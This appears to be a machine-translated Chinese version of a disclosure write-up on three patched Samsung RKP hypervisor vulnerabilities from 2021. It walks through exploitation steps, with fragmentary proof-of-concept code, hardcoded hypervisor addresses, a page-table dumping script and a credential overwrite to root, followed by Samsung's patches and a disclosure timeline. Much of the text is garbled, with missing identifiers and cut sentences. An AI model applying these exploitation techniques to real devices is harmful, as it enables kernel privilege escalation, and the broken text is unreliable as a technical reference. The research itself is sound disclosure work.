目录
介绍
虚拟化扩展
三星 RKP 保证
三星 RKP 实施
Samsung RKP 初始化
我们的研究设备
将 RKP 内存重新映射为 EL1 的可写内存
第一个补丁
第二个补丁
探索我们的选择
重新映射我们的目标页面
选择目标页面
获取代码执行
概念验证
脆弱性
开发
补丁
编写可执行内核页面
概念验证
可执行文件加载
可执行文件卸载
脆弱性
脆弱性
开发
补丁
写入只读内核内存
概念验证
脆弱性
开发
补丁
结论
时间线
攻击三星 RKP
这是我们纲要博客文章的后续内容,该博客文章介绍了三星安全管理程序的内部结构,包括所有细节。这些广泛的知识在今天的博客文章中得到了应用,解释了我们如何攻击三星 RKP。在揭示了导致虚拟机管理程序或其保证受损的三个漏洞之后,我们还描述了我们提出的利用路径。最后,我们来看看三星在我们的报告之后制作的补丁。
目录
介绍
虚拟化扩展
三星 RKP 保证
三星 RKP 实施
Samsung RKP 初始化
我们的研究设备
将 RKP 内存重新映射为 EL1 的可写内存
第一个补丁
第二个补丁
探索我们的选择
重新映射我们的目标页面
选择目标页面
获取代码执行
概念验证
脆弱性
开发
补丁
编写可执行内核页面
概念验证
可执行文件加载
可执行文件卸载
脆弱性
脆弱性
开发
补丁
写入只读内核内存
概念验证
脆弱性
开发
补丁
结论
时间线
2021 年 1 月,我们报告了 Samsung 安全管理程序实施中的三个漏洞。每个漏洞都有不同的影响,从写入到虚拟机监控程序强制执行的只读内存,再到破坏虚拟机监控程序本身。这些漏洞已在 2021 年 6 月和 2021 年 10 月的安全更新中修复。虽然它们是特定于 Samsung RKP 的,但我们认为它们是审计在 ARMv8 设备上运行的安全虚拟机管理程序时应注意的好例子。 我们将详细介绍每个漏洞,解释如何利用它们,并查看它们的补丁。虽然我们建议阅读原始博客文章,因为它会更容易理解这篇文章,但我们试图总结介绍中的所有重要部分。如果您已经熟悉三星 RKP,请随意跳过介绍并直接进入第一个漏洞。 移动设备上的安全虚拟机监控程序的主要目标是确保运行时的内核完整性,这样即使攻击者发现内核漏洞,也无法修改敏感的内核数据结构、提升权限或执行恶意代码。为了做到这一点,虚拟机管理程序以比内核 (EL1) 更高的权限级别 (EL2) 执行,并且它可以通过使用虚拟化扩展来完全控制它。 虚拟化扩展的功能之一是地址转换的第二层。禁用后,只有一层地址转换,将虚拟地址 (VA) 直接转换为物理地址 (PA)。但是当它被启用时,第一层(阶段 1 - 在内核的控制下)现在将 VA 转换为所谓的中间物理地址 (IPA),第二层(阶段 2 - 在虚拟机管理程序的控制下)将此 IPA 转换为真正的 PA。第二层有自己的内存属性,允许虚拟机监控程序强制执行与内核页表中的内存权限不同的内存权限,并禁用对某些物理内存区域的访问。 虚拟化扩展的另一个功能是通过使用虚拟机管理程序配置寄存器 (HCR) 实现的,它允许虚拟机管理程序处理一般异常并捕获通常由内核执行的关键操作(例如访问系统寄存器)。最后,在内核 (EL1) 需要调用虚拟机管理程序 (EL2) 的情况下,它可以通过执行虚拟机管理程序调用 (HVC) 指令来实现。这与用户空间进程 (EL0) 用于调用内核 (EL1) 的 SuperVisor 调用 (SVC) 指令非常相似。 三星实施的安全虚拟机管理程序强制执行: 页表不能直接由内核修改; 除了 3 级表,但在这种情况下,位是设置的; 对 EL1 处虚拟存储器系统寄存器的访问被捕获; 页表在第 2 阶段地址转换中设置为只读; 防止双重映射(但检查仅由内核完成); 尽管如此,我们还是无法使内核文本读写或新区域可执行; 敏感的内核全局变量在区域中移动(只读); 敏感内核数据结构 (, , ) 在只读页面上分配; 一个不是的任务不能突然变成或 可以在漏洞利用中设置 A 的字段; 但是下一个操作,如执行 shell,将触发冲突; 在各种操作中,将检查正在运行的任务的凭据: 凭据也会被引用计数,以防止它们被其他任务重复使用; 无法从特定挂载点之外执行二进制文件; 在 Snapdragon 设备上,ROPP(ROP 预防)也由 RKP 启用。 三星 RKP 广泛使用两种数据结构:memlists 和 sparsemaps。 memlist 是地址范围的列表(有点像 的专用版本)。 sparsemap 将值与地址相关联(有点像 的专用版本)。 这些控制结构有多个实例,下面按初始化顺序列出: memlist 包含 DRAM 区域(由 S-Boot 发送); 内存列表包含关键的虚拟机管理程序 SRAM/DRAM 区域; sparsemap 将类型(内核文本、PT 等)关联到每个 DRAM 页面; sparsemap 指示 DRAM 页面在阶段 2 中是否为只读; 内核使用 sparsemap 来检测双映射的 DRAM 页面; memlist 包含 RKP 的页面分配器使用的 DRAM 区域; sparsemap 跟踪 RKP 的页面分配器分配的 DRAM 页面; memlist 包含内核的可执行页面; memlist 由“动态加载”功能使用。 请注意,虚拟机管理程序使用这些控制结构来跟踪内存中的内容及其映射方式。但它们对实际的地址转换没有直接影响(与第 2 阶段页表不同)。虚拟机管理程序必须小心翼翼地使控制结构和页表保持同步,以避免出现问题。 虚拟机管理程序有多个分配器,每个分配器都有不同的用途: “静态堆”包含SRAM存储器(初始化前)和DRAM存储器(初始化后); 它用于 EL2 页表、模因列表和页分配器的描述符; “动态堆”仅包含 DRAM 内存(页面分配器的内存区域是从中划出的); 它用于 EL1 阶段 2 页表和稀疏图(条目和位图); “页面分配器”仅包含 DRAM 内存; 它用于分配 EL1 阶段 1 页表和受保护的 SLUB 缓存的页。 虚拟机管理程序(与内核一起)的初始化在第一篇博文中进行了详细介绍。在寻找漏洞时,了解各种控制结构在给定时刻的状态,以及 EL1 阶段 2 和 EL2 阶段 1 的页表包含的内容至关重要。下面报告了初始化后的虚拟机管理程序状态。 控制结构如下: 包含虚拟机管理程序代码/数据和支持 . 在 内核段标记为 用户 PGD、PMD 和 PTE 分别标记为 、 和 ; 内核 PGD、PMD 和 PTE 分别标记为 、 和 。 包含内核和段,以及在阶段 2 中已设为只读的其他页面(如 L1、L2 和一些 L3 内核页面表)。 包含内核段和蹦床页面。 在 EL2 阶段 1 的页表中(控制虚拟机管理程序可以访问的内容): 虚拟机管理程序段被映射(从初始 PT 开始); 日志和“大数据”区域映射为 RW; 内核段映射为 RO; 的第一页映射为 RW。 在 EL1 阶段 2 的页表中(控制内核可以真正访问的内容): 虚拟机监控程序内存区域未映射; 日志区域映射为 ROX; 支持“动态堆”的区域映射为 ROX; PGD 映射为 RO: PXN 位设置在块描述符上; PXN 位在表描述符上设置,但仅适用于用户 PGD。 PMD 映射为 RO: PXN 位是为不在 中的 VA 设置的。 PTE 映射为 VA 的 RO。 内核段映射为 ROX。 我们在这项研究中的测试设备是三星A51(SM-A515F)。我们没有使用完整的漏洞利用链,而是从三星的开源网站下载了内核源代码,添加了一些系统调用,重新编译了内核,并将其烧录到设备上。 新的系统调用使得与 RKP 的交互变得非常方便,并允许我们从用户空间: 读/写内核内存; 分配/释放内核内存; 进行虚拟机监控程序调用(使用函数)。 Severity: High 当 Samsung RKP 需要在第 2 阶段更改内存区域的权限时,它使用在单个页面上操作 // If the allow flag is 0, RKP must be initialized. uh_log('L', "rkp_paging.c", 195, "RKP_4acbd6db%lxRKP_00950f15%lx", start_addr, end_addr); if (!paddr) { 我们已经看到, 但事实证明,它比这更糟糕:这个检查甚至什么也没做!人们希望页面在实际从第 2 阶段取消映射时被标记为 in。 // Floor the address to the page size. 事实证明,没有对 、 的调用,甚至没有将页面标记为 的低级函数。因此,我们还可以在第 2 阶段使用 为了利用这个双重错误,我们需要寻找对 在 在 在 在 在 在 在。 在许多功能中。 让我们一一介绍这些功能,看看它们是否符合我们的要求。 在第一篇博文中,我们仔细研究了函数 和 。假设我们控制了第三个参数,那么在这些函数中实现对 如果等于 1,则页面不得标记为 , 因此,它将在阶段 2 中设置为只读,并标记为 。 如果等于 0,则该页面必须标记为 , 因此,它将在阶段 2 中设置为读写并标记为 。 因此,通过调用其中一个函数两次,第一次设置为 1,第二次设置为 0,将导致调用具有读写权限的 处理 1 级表的函数称为: 在 在 在。 第一次调用是在 // Extract the PGD from the TTBR system register value. 但是,该函数还将设置系统寄存器(对于用户 PGD)或(对于内核 PGD),我们甚至无法控制参数,因此这不是一个好的路径。让我们来看看我们的其他选项。 我们已经在第一篇博文中看到了 和 函数。它们本来可以成为非常好的候选者,但使用它们有一个主要缺点:给出的表地址来自 。此函数调用以确保地址不在内存列表中,因此我们不能使用位于虚拟机监控程序内存中的地址。 相反,我们可以做的是尝试处理下一级表,以便给定的值来自描述符的输出地址,而不是来自对 的调用。这样,表地址参数将完全由用户控制。 处理 2 级表的函数称为: 在 (见第一篇博文)。 处理 3 级表的函数称为: in (见于第一篇博文,称为 from 和 )。 在第一篇博文中也看到的 和 函数是非常好的候选函数,它们允许分别调用和在内核页表中编写一个虚假的 1 级或 2 级描述符。 为了完整起见,即使我们已经找到了漏洞的利用路径,我们也会看看我们的其他选项。 // Call `set_range_to_pxn_l1` to walk the PGD and set PXN bit of the descriptors mapping the address range. rkp_phys_map_lock(table); rkp_phys_map_lock(table); rkp_phys_map_lock(table); 这对我们来说不是一个好的选择,原因有很多:我们的虚拟机管理程序内存目标页面需要在 ;它要求我们已经将用户控制的描述符写入内核页表中(让我们回到上面看到的函数);最后,“动态加载”功能仅在 Exynos 设备上可用,正如我们将在下一个漏洞中看到的那样。 // Call `set_range_to_pxn_l1` to walk the PGD and set the regions of the address range as ROX. if (table != INIT_MM_PGD) { rkp_phys_map_lock(table); rkp_phys_map_lock(table); 出于类似的原因,这对我们来说也不是一个好的选择:目标页面在第 2 阶段设置为只读,它需要已经将用户控制的描述符写入内核页面表中,并且“动态加载”功能仅存在于 Exynos 设备上。 调用 最后, 为了利用这个漏洞,我们决定使用和。如前所述,由于这些函数使用 返回的物理地址进行调用,因此我们将改为以 "fake PMD" "fake PUD" 该漏洞利用的第一步是调用命令处理程序,该处理程序只需调用 .它本身调用 ,它将处理我们的“假 PGD”(在下面的代码中,将为 0 和 1)。最具体地说,它将设置我们的“假 PMD”,在阶段 2 中将其设置为只读,然后调用以处理我们的“假 PMD”。 到目前为止,我们已将目标页面标记为 ,并在第 2 阶段页表中重新映射为只读。这很好,但为了能够从内核修改它,我们需要在第二阶段将其映射为可写。 漏洞利用的第二步是调用命令处理程序,该处理程序只需调用 .它本身调用 ,它将再次处理我们的“假 PGD”(在下面的代码中,将是 0,这次是 0)。更具体地说,它将在阶段 2 中设置我们的“假 PGD”,将其设置为读写,然后调用以处理我们的“假 PMD”。 我们终于在第 2 阶段的页表中将目标页面重新映射为可写页面。太好了,现在我们需要找到一个目标页面,当函数处理其内容时,该页面不会使虚拟机管理程序崩溃。 由于设置了“假 PUD”描述符(即目标页面的内容)的 PXN 位,并进一步处理看起来像表格描述符的值,因此我们无法直接定位位于 RKP 代码段中的页面。我们的目标必须可从 EL2 写入,RKP 的页表(EL1 的第 2 阶段页表或 EL2 的页表)就是这种情况。但是由于它们是页表,它们包含有效的描述符,因此由于这种处理,它们很可能会使 RKP 或内核在某个时候崩溃。这就是为什么我们没有针对他们。 相反,我们选择以支持 memlist 的内存页面为目标,该页面包含其所有实例。它包含的值始终在 8 个字节上对齐,因此它们看起来像函数的无效描述符。通过从内核中取消此列表,我们将能够向所有命令处理程序提供虚拟机管理程序内存中的地址。 此 memlist 在函数中分配: 要确切地知道支持这个内存列表的内存将分配在哪里,我们需要深入研究 事实证明,内存列表从不存储超过 5 个内存区域,即使内存支持添加到其中。因此,它永远不会被重新分配,并且只进行一次分配。现在让我们看看 // Sanity-check the arguments. 内存是由 完整的虚拟机管理程序内存:0x87000000-0x87200000; 减去对数区域:0x87100000-0x87140000; 减去uH/RKP区域:0x87000000-0x87046000; 减去“大数据”区域:0x870FF000-0x87100000。 因此,我们知道分配器返回的地址应该在之后的某个地方(即在 uH/RKP 和“大数据”区域之间)。要知道它将在哪个地址,我们需要找到在调用之前执行的所有分配。 通过仔细静态跟踪执行,我们发现了 4 个“静态堆”分配: 第一次分配大小0x8A发生在 大小的第二次分配0x230发生在 第三次大小分配0x1000发生在 大小 0xA0 的第四个分配来自调用。 uh_context = malloc(0x1000, 0); 现在我们准备计算地址。每个分配都有一个 0x18 字节的标头,分配器将总大小四舍五入到下一个 8 字节边界。通过正确地进行数学计算,我们发现分配的物理地址0x870473D8: 我们还需要知道与记忆列表在同一页面(0x87047000)中的内容。由于我们对先前分配的跟踪,我们知道它前面是 ,它只用于恐慌。类似地,我们可以确定它之后是内存列表重新分配和阶段 2 页表分配,其中包含页面大小的填充。这意味着此页面中不应有看起来像页表描述符的值(在我们的测试设备上)。 在阶段 2 中使用 and 命令使包含 memlist 的页面可写后,我们直接从内核修改它。我们的目标是使始终返回 0,以便我们可以为所有命令处理程序提供任意地址(包括虚拟机管理程序内存中的地址)。calls ,它本身调用 中的第一个条目是虚拟机监控程序内存区域。将其字段归零(偏移量 8)应该足以禁用黑名单。 完全破坏虚拟机管理程序的最后一步是执行任意代码,这相当容易,因为我们可以为所有命令处理程序提供任何地址。这可以通过多种方式实现,但最简单的方法可能是在 EL1 处修改阶段 2 的页表。 例如,我们可以将覆盖虚拟机管理程序内存范围的 2 级描述符作为目标,并将其转换为可写块描述符。写入本身可以通过调用(调用)来执行,因为我们已经禁用了 memlist。 要查找目标描述符的物理地址,我们可以使用 IDAPython 脚本将初始阶段 2 页表转储到 EL1: def parse_static_s2_page_tables(table, level=1, start_vaddr=0): for i in range(512): if level < 3 and (desc & 0b11) == 0b11: parse_static_s2_page_tables(0x87028000) 以下是在目标设备上运行的二进制文件上运行此脚本的结果。 我们知道映射 0x80000000-0xc0000000 的 L2 表位于 0x8702A000。要获取描述符的地址,这取决于目标地址 (0x87000000) 和 L2 块的大小 (0x200000),我们只需要向 L2 表的地址添加一个偏移量: 描述符的值由目标地址和所需属性组成:。 通过调用 来更改描述符,调用 。由于我们正在写入标记为 的现有页表,并且新值是块描述符,因此检查通过,写入在 这个简单的概念证明假设我们已经获得了内核内存读/写原语,并且可以进行虚拟机管理程序调用。 #define RKP_CMD_NEW_PGD 0x0A #define PROTECTED_RANGES_BITMAP 0x870473D8 uint64_t pa_to_va(uint64_t va) { void exploit() { /* write our "fake PMD" descriptor */ /* make the hyp call that will set the page RO */ /* zero out the "protected ranges" first entry */ /* write the descriptor to make hyp memory writable */ 该漏洞已在我们的测试设备可用的最新固件上成功测试(在我们向三星报告此漏洞时):。Exynos 和 Snapdragon 设备的二进制文件似乎都存在双重错误,包括 S10/S10+/S20/S20+ 旗舰设备。但是,它在这些设备上的可利用性尚不确定。 利用此漏洞的先决条件很高:在启用了 JOPP/ROPP 的设备上,仅通过对内核内存的任意读取和写入即可进行虚拟机管理程序调用并非易事。特别是,在 Snapdragon 设备上, 其他设备上的内存布局也将与我们在漏洞利用中针对的内存布局不同,因此硬编码地址将不起作用。但我们相信它们可以进行调整,或者可以为这些设备找到替代的开发策略。 以下是我们向三星建议的即时补救步骤: 在收到三星通知该漏洞已修补后,我们下载了测试设备三星 Galaxy A51 的最新固件更新。但我们很快注意到它还没有更新到 6 月份的补丁级别,所以我们不得不对三星 Galaxy S10 的最新固件更新进行二进制比较。使用的确切版本是 。 对 if (!allow && !rkp_inited) { 令人惊讶的是, 第二组更改是 、 和 函数。在每个函数中,在更改页面的第 2 阶段权限之前,已在分配路径中添加了对的调用。 这些更改使得我们不能再使用漏洞利用中实现的特定代码路径来调用 我们无法找到修复实际问题的更改,即在第 2 阶段中未映射的页面未标记为 .为了向三星证明他们的修复还不够,我们开始寻找一种新的利用策略。虽然不幸的是,由于时间不足,我们无法在真实设备上对其进行测试,但我们设计了下面解释的理论方法。 在“探索我们的选项”部分中,我们提到 但是,如果我们能够调用这些函数,我们可以轻松地在第二阶段使我们的目标页面可写。我们可以先调用 我们的新策略要求我们的目标页面由内核 PMD 的表描述符指向。这可以通过将无效描述符更改为指向“假 PT”的表描述符来实现,该描述符实际上是我们的虚拟机管理程序内存的目标页面,如下图所示。 我们调用 PMD 描述符的 PA ,它映射的区域的起始 VA 和目标页面的 PA 。要更改描述符的值(从 0 到 ),我们可以调用调用 . 在 中,由于我们正在写入已标记为 的现有内核 PMD,因此第一个检查通过。由于描述符值从零更改为非零值,因此它仅使用新的描述符值调用一次。 在 中,通过选择 not 包含在 中,将设置新描述符值的 PXN 位,并将其设置为 false。然后,由于新描述符是表,因此被调用。 在 中,因为是 false,所以函数会提前返回。 最后,回到 ,写入描述符的新值。 现在,我们已准备好使用“动态加载”命令调用 作为参考,需要采取的代码路径如下: rkp_cmd_dynamic_load 应该注意的是,与原始利用路径类似,目标页面中看起来像有效 PT 描述符的值将设置其 PXN 位。因此,目标页面需要是可写的。尽管如此,我们可以继续将支持位图的内存作为目标。 在三星第二次通知该漏洞已修补后,我们下载了三星 Galaxy S10 的最新固件更新并对其进行了二进制差异。使用的确切版本是 。 对 - if (!allow && !rkp_inited) { 这一次,还对 +int64_t protected_ranges_overlaps(uint64_t addr, uint64_t size) { Severity: Moderate 我们在调查 RKP 的“动态加载”功能时发现了此漏洞。它允许内核加载到必须由 Samsung 签名的内存可执行二进制文件中。它目前仅用于完全交互式移动摄像头 (FIMC) 子系统,并且由于此子系统仅在 Exynos 设备上可用,因此此功能不适用于 Snapdragon 设备。 要了解这个特性是如何工作的,我们可以从查看内核源代码开始,找到它的使用位置。通过搜索命令,我们可以找到两个加载和卸载“动态可执行文件”的函数: 在虚拟机管理程序中,命令及其子命令的处理程序是 // Get the subcommand and convert the argument structure address. 我们对子命令不感兴趣,因为它只能在初始化之前调用。 用于加载二进制文件的子命令由 如果它调用的任何函数失败( // Validate the argument structure. EXIT_RM_DYNLIST: 用于卸载二进制文件的子命令由 // Remove the binary's address range from the dynamic_load_regions memlist. // Dynamic executables of type RKP_DYN_MODULE are not allowed to be loaded. // Make the first code segment read-only executable in the second stage. // Check if signature verification was disabled by the kernel in rkp_start. // Make the first code segment read-only executable in the first stage. // Add the first code segment to the executable_regions memlist. // Allocate a copy of the argument strucutre. // Remove the binary's address range from the dynamic_load_regions memlist and retrieve the saved binary information. // Remove the first code segment to the executable_regions memlist. // Make the first code segment non-executable in the first stage. // Make the first code segment read-write executable in the second stage. 从上面给出的函数的高级描述中,我们可以特别注意到,如果我们给出当前或处于阶段 2 的代码段, 在实践中,要在 该漏洞允许我们将当前或处于阶段 2 的内存更改为 .为了利用这个漏洞在EL1上执行任意代码,最简单的方法是找到一个在阶段1中已经可执行的物理页面,这样我们只需要修改阶段2的权限。然后,我们可以在内核的 physmap(Linux 内核 physmap,而不是 RKP 的)中使用此页面的虚拟地址作为第二个可写的映射。通过将代码写入第二个映射并从第一个映射执行它,我们可以实现任意代码执行。 通过转储阶段 1 的页表,我们可以很容易地找到一个双映射页面。 如果我们的可执行映射处于 0xFFFFFF80FA500000,我们可以推断出可写映射将处于 0xFFFFFFC87571F000: 通过转储阶段 2 的页表,我们可以确认它最初映射为 . 在编写漏洞利用时,我们需要考虑的最后一件重要事情是缓存(数据和指令)。为了安全起见,在我们的漏洞利用中,我们决定在代码前面加上一些“引导”指令来执行,这些指令将清理缓存。 #define RKP_DYNAMIC_LOAD 0x20 /* these 2 VAs point to the same PA */ /* bootstrap code to clean the caches */ void exploit() { /* call the hypervisor to make the page RWX */ /* copy the code using the writable mapping */ /* and execute it using the executable mapping */ 作为运行概念验证的结果,我们得到了一个未定义的指令异常,我们可以在内核日志中观察到该异常(注意部分): 该漏洞已在我们的测试设备可用的最新固件上成功测试(在我们向三星报告此漏洞时):。双重错误仅存在于 Exynos 设备的二进制文件中(因为“动态加载”功能不适用于 Snapdragon 设备),包括 S10/S10+/S20/S20+ 旗舰设备。但是,它在这些设备上的可利用性尚不确定。 利用此漏洞的先决条件很高:在启用了 JOPP/ROPP 的设备上,仅通过对内核内存的任意读取和写入即可进行虚拟机管理程序调用并非易事。 以下是我们向三星建议的即时补救步骤: 在收到三星通知该漏洞已修补后,我们下载了测试设备三星 Galaxy A51 的最新固件更新。但我们很快注意到它还没有更新到 6 月份的补丁级别,所以我们不得不对三星 Galaxy S10 的最新固件更新进行二进制比较。使用的确切版本是 。 对 if (rkp_dyn->type == RKP_DYN_MODULE) 由于二进制文件的地址范围随后会根据 using 进行检查,因此在阶段 2 中不再可能将内存从 更改为 。仍然可以更改内存,即 ,但阶段 2 中已经有页面。虚拟机监控程序还确保,如果此类页面在阶段 1 中被映射为可执行文件,则在阶段 2 中将其设置为只读。 Severity: Moderate 最后一个漏洞来自virt_to_phys_el1的限制, 它使用 AT S12E1R(地址转换阶段 1 和 2 EL1 读取)和 最具体地说, // Ignore null VAs. 问题是函数将调用 内核内存中有趣的目标包括阶段 2 中任何只读的内容,例如内核页表、 、 等。我们还需要找到一个命令处理程序,它使用 在我们的漏洞利用中,我们使用了 #define RKP_DYNAMIC_LOAD 0x20 void print_ids() { gid_t rgid, egid, sgid; void write_zero(uint64_t rkp_dyn_p, uint64_t ret_p) { void exploit() { /* get the struct cred of the current task */ /* allocate the argument structure */ /* print the new credentials */ 通过运行概念验证,我们可以看到当前任务的凭据从 2000 () 更改为 0 ()。 该漏洞已在我们的测试设备可用的最新固件上成功测试(在我们向三星报告此漏洞时):。该错误仅存在于 Exynos 设备的二进制文件中(因为“动态加载”功能不适用于 Snapdragon 设备),包括 S10/S10+/S20/S20+ 旗舰设备。但是,它在这些设备上的可利用性尚不确定。 利用此漏洞的先决条件很高:在启用了 JOPP/ROPP 的设备上,仅通过对内核内存的任意读取和写入即可进行虚拟机管理程序调用并非易事。 以下是我们向三星建议的即时补救步骤: 在收到三星通知该漏洞已修补后,我们下载了测试设备三星 Galaxy A51 的最新固件更新。但我们很快注意到它还没有更新到 6 月份的补丁级别,所以我们不得不对三星 Galaxy S10 的最新固件更新进行二进制比较。使用的确切版本是 。 对函数进行了更改。现在,它确保内核提供的地址在写入之前被标记为 in,如果不是,则触发策略冲突。 对 该补丁现在有效,因为在初始化后没有其他命令处理程序可在写入地址之前使用 更好的解决方案是添加一个标志,表示检查读取或写入访问权限,作为 在此结论中,我们想为您提供我们对三星 RKP 及其截至 2021 年初的实施的看法。 关于实现,代码库已经存在了几年,它表明了这一点。随着新功能的添加,复杂性也随之增加,并且必须到处制作错误补丁。这也许可以解释为什么会犯像今天揭示的错误,以及为什么配置问题如此频繁地发生。很可能在代码中潜伏着其他错误,我们已经掩盖了这些错误。此外,我们觉得三星在设计过程和错误补丁中都做出了一些奇怪的选择。例如,复制第 2 阶段页表中已有的信息(例如,位和 )非常容易出错。他们似乎也在修补特定的利用路径,而不是漏洞的根本原因,这是一个危险信号。 暂且不谈这些缺陷,并考虑到三星RKP对设备安全性的整体影响,我们认为它确实有助于使设备更加安全,作为深度防御措施。它使攻击者更难在内核中实现代码执行。但是,它肯定不是灵丹妙药。在编写 Android 内核漏洞时,攻击者需要找到 RKP 绕过漏洞(这与 RKP 中的漏洞不同)来破坏系统。不幸的是,三星仍然需要解决一些已知的旁路问题。 SVE-2021-20178型 2021 年 1 月 4 日 - 向三星发送了初步报告。 2021 年 1 月 5 日 - 为该问题指派了一名安全分析师。 2021 年 1 月 19 日 - 我们要求更新。 2021 年 1 月 25 日 - 目前没有更新。 2021年2月17日 - 漏洞已确认。 2021 年 3 月 3 日 - 我们要求更新。 2021 年 3 月 4 日 - 此问题将在 5 月安全更新中修补。 2021 年 5 月 4 日 - 我们要求更新。 2021 年 5 月 10 日 - 此问题将在 6 月安全更新中修补。 2021年6月8日 - 通知已发布修补漏洞的更新。 2021 年 7 月 20 日 - 我们在二进制差异修复后重新打开该问题。 2021 年 7 月 30 日 - 此问题将在 10 月的安全更新中修补。 2021年10月05日 - 通知已发布修补漏洞的更新。 SVE-2021-20179型 2021 年 1 月 4 日 - 向三星发送了初步报告。 2021 年 1 月 5 日 - 为该问题指派了一名安全分析师。 2021 年 1 月 19 日 - 我们要求更新。 2021 年 1 月 25 日 - 目前没有更新。 2021年2月17日 - 漏洞已确认。 2021 年 3 月 3 日 - 我们要求更新。 2021 年 3 月 4 日 - 此问题将在 5 月安全更新中修补。 2021 年 5 月 4 日 - 我们要求更新。 2021 年 5 月 10 日 - 此问题将在 6 月安全更新中修补。 2021年6月6日 - 通知已发布修补漏洞的更新。 SVE-2021-20176 2021 年 1 月 4 日 - 向三星发送了初步报告。 2021 年 1 月 5 日 - 为该问题指派了一名安全分析师。 2021 年 1 月 19 日 - 我们要求更新。 2021 年 1 月 29 日 - 目前没有更新。 2021 年 3 月 3 日 - 我们要求更新。 2021年3月04日 - 漏洞已确认。 2021 年 5 月 4 日 - 我们要求更新。 2021 年 5 月 10 日 - 此问题将在 6 月安全更新中修补。 2021 年 6 月 6 日 - 我们要求更新。 2021 年 6 月 23 日 - 通知已发布修补漏洞的更新。虚拟化扩展¶
三星 RKP 保证¶
PXNTable
.rodata
cred
task_security_struct
vfsmount
system
system
root
;cred
task_struct
root
三星 RKP 实施¶
std::vector
std::map
dynamic_regions
protected_ranges
physmap
ro_bitmap
dbl_bitmap
page_allocator.list
page_allocator.map
executable_regions
dynamic_load_regions
Samsung RKP 初始化¶
protected_ranges
physmap
physmap
.text
TEXT
;L1
L2
L3
KERNEL|L1
KERNEL|L2
KERNEL|L3
ro_bitmap
.text
.rodata
executable_regions
.text
.text
swapper_pg_dir
empty_zero_page
映射为 RWX;executable_regions
executable_regions
.text
我们的研究设备¶
uh_call
SVE-2021-20178 (CVE-2021-25415): Possible remapping RKP memory as writable from EL1
Affected versions: Q(10.0), R(11.0) devices with Exynos9610, 9810, 9820, 9830
Reported on: January 4, 2021
Disclosure status: Privately disclosed.
Assuming EL1 is compromised, an improper address validation in RKP prior to SMR JUN-2021 Release 1 allows local attackers to remap EL2 memory as writable.
The patch adds the proper address validation in RKP to prevent change of EL2 memory attribution from EL1.脆弱性¶
的 rkp_s2_page_change_permission
,或者使用在一系列地址上运行的 rkp_s2_range_change_permission
。这些函数可能被滥用,将虚拟机管理程序内存(在初始化期间未映射)重新映射为可从内核写入的内存,从而完全损害安全虚拟机管理程序。让我们看看调用这些函数时会发生什么。rkp_s2_page_change_permission
首先对其参数执行验证:除非标志不为零,否则必须初始化虚拟机管理程序,页面不得标记为 ,它不能来自虚拟机管理程序页面分配器,并且不能位于内核或部分中。如果这些验证成功,它将确定请求的内存属性和调用,以有效地修改第 2 阶段页表。最后,它会刷新 TLB 并更新 .allow
S2UNMAP
physmap
.text
.rodata
map_s2_page
ro_bitmap
int64_t rkp_s2_page_change_permission(void* p_addr, uint64_t access, uint32_t exec, uint32_t allow) {
// ...
if (!allow && !rkp_inited) {
uh_log('L', "rkp_paging.c", 574, "s2 page change access not allowed before init %d", allow);
rkp_policy_violation("s2 page change access not allowed, p_addr : %p", p_addr);
return -1;
}
// The page shouldn't be marked as `S2UNMAP` in the physmap.
if (is_phys_map_s2unmap(p_addr)) {
// And trigger a violation.
rkp_policy_violation("Error page was s2 unmapped before %p", p_addr);
return -1;
}
// The page shouldn't have been allocated by the hypervisor page allocator.
if (page_allocator_is_allocated(p_addr) == 1) {
return 0;
}
// The page shouldn't be in the kernel text section.
if (p_addr >= TEXT_PA && p_addr < ETEXT_PA) {
return 0;
}
// The page shouldn't be in the kernel rodata section.
if (p_addr >= rkp_get_pa(SRODATA) && p_addr < rkp_get_pa(ERODATA)) {
return 0;
}
uh_log('L', "rkp_paging.c", 270, "Page access change out of static RO range %lx %lx %lx", p_addr, access, exec);
// Calculate the memory attributes to apply to the page.
if (access == 0x80) {
++page_ro;
attrs = UNKN1 | READ;
} else {
++page_free;
attrs = UNKN1 | WRITE | READ;
}
if (p_addr == ZERO_PG_ADDR || exec) {
attrs |= EXEC;
}
// Call `map_s2_page` to make the actual changes to the stage 2 page tables.
if (map_s2_page(p_addr, p_addr, 0x1000, attrs) < 0) {
rkp_policy_violation("map_s2_page failed, p_addr : %p, attrs : %d", p_addr, attrs);
return -1;
}
// Invalidate the TLBs for the target page.
tlbivaae1is(((p_addr + 0x80000000) | 0xffffffc000000000) >> 12);
// Call `rkp_set_pgt_bitmap` to update the ro_bitmap.
return rkp_set_pgt_bitmap(p_addr, access);
}rkp_s2_range_change_permission
的操作类似于 rkp_s2_page_change_permission
。第一个区别是函数执行的验证。这里的标志可以接受 3 个值:0(仅在初始化后允许更改)、1(仅在延迟初始化之前)和 2(始终允许)。起始地址和结束地址必须按预期顺序对齐。不执行其他验证。第二个区别是调用该函数来执行对第 2 阶段页表的更改,该函数是 s2_map
而不是 。allow
map_s2_page
int64_t rkp_s2_range_change_permission(uint64_t start_addr,
uint64_t end_addr,
uint64_t access,
uint32_t exec,
uint32_t allow) {
// ...
// If the allow flag is 0, RKP must be initialized.
if (!allow && !rkp_inited) {
uh_log('L', "rkp_paging.c", 593, "s2 range change access not allowed before init");
rkp_policy_violation("Range change permission prohibited");
}
// If the allow flag is 1, RKP must not be deferred initialized.
else if (allow != 2 && rkp_deferred_inited) {
uh_log('L', "rkp_paging.c", 603, "s2 change access not allowed after def-init");
rkp_policy_violation("Range change permission prohibited");
}
// The start and end addresses must be page-aligned.
if ((start_addr & 0xfff) != 0 || (end_addr & 0xfff) != 0) {
uh_log('L', "rkp_paging.c", 203, "start or end addr is not aligned, %p - %p", start_addr, end_addr);
return -1;
}
// The start address must be smaller than the end address.
if (start_addr > end_addr) {
uh_log('L', "rkp_paging.c", 208, "start addr is bigger than end addr %p, %p", start_addr, end_addr);
return -1;
}
// Calculates the memory attributes to apply to the pages.
size = end_addr - start_addr;
if (access == 0x80) {
attrs = UNKN1 | READ;
} else {
attrs = UNKN1 | WRITE | READ;
}
if (exec) {
attrs |= EXEC;
}
p_addr_start = start_addr;
// Call `s2_map` to make the actual changes to the stage 2 page tables.
if (s2_map(start_addr, end_addr - start_addr, attrs, &p_addr_start) < 0) {
uh_log('L', "rkp_paging.c", 222, "s2_map returned false, p_addr_start : %p, size : %p", p_start_addr, size);
return -1;
}
// For each page, call `rkp_set_pgt_bitmap` to update the ro_bitmap and invalidate the TLBs.
for (addr = start_addr, addr < end_addr; addr += 0x1000) {
res = rkp_set_pgt_bitmap(addr, access);
